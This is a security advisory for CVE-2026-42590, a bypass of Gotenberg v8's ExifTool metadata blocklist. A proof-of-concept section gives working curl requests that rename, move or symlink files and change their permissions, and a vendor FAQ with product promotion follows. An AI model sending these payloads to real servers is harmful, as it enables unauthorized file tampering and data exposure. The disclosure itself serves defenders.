CVE-2026-42590

Summary

The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.

Details

The blocklist in pkg/modules/exiftool/exiftool.go filters four dangerous pseudo-tags (FileName, Directory, HardLink, SymLink) using strings.EqualFold(key, tag). However, ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching.

The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc.

Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix.

PoC

# Rename the converted PDF (bypasses FileName blocklist)
curl -F "[email protected]" \
  -F 'metadata={"File:FileName":"pwned.pdf"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Move the file to /tmp (bypasses Directory blocklist)
curl -F "[email protected]" \
  -F 'metadata={"File:Directory":"/tmp"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Create a symlink (bypasses SymLink blocklist)
curl -F "[email protected]" \
  -F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Change file permissions (not blocked at all)
curl -F "[email protected]" \
  -F 'metadata={"FilePermissions":"rwxrwxrwx"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

Impact

Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.

This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.

CVE-2026-42590 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-42590? CVE-2026-42590 is a high-severity security vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.29.1. No fixed version is listed yet.
2. How severe is CVE-2026-42590? CVE-2026-42590 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/gotenberg/gotenberg/v8 are affected by CVE-2026-42590? github.com/gotenberg/gotenberg/v8 (go) versions <= 8.29.1 is affected.
4. Is there a fix for CVE-2026-42590? No fixed version is listed for CVE-2026-42590 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-42590 exploitable, and should I be worried? Whether CVE-2026-42590 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42590 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.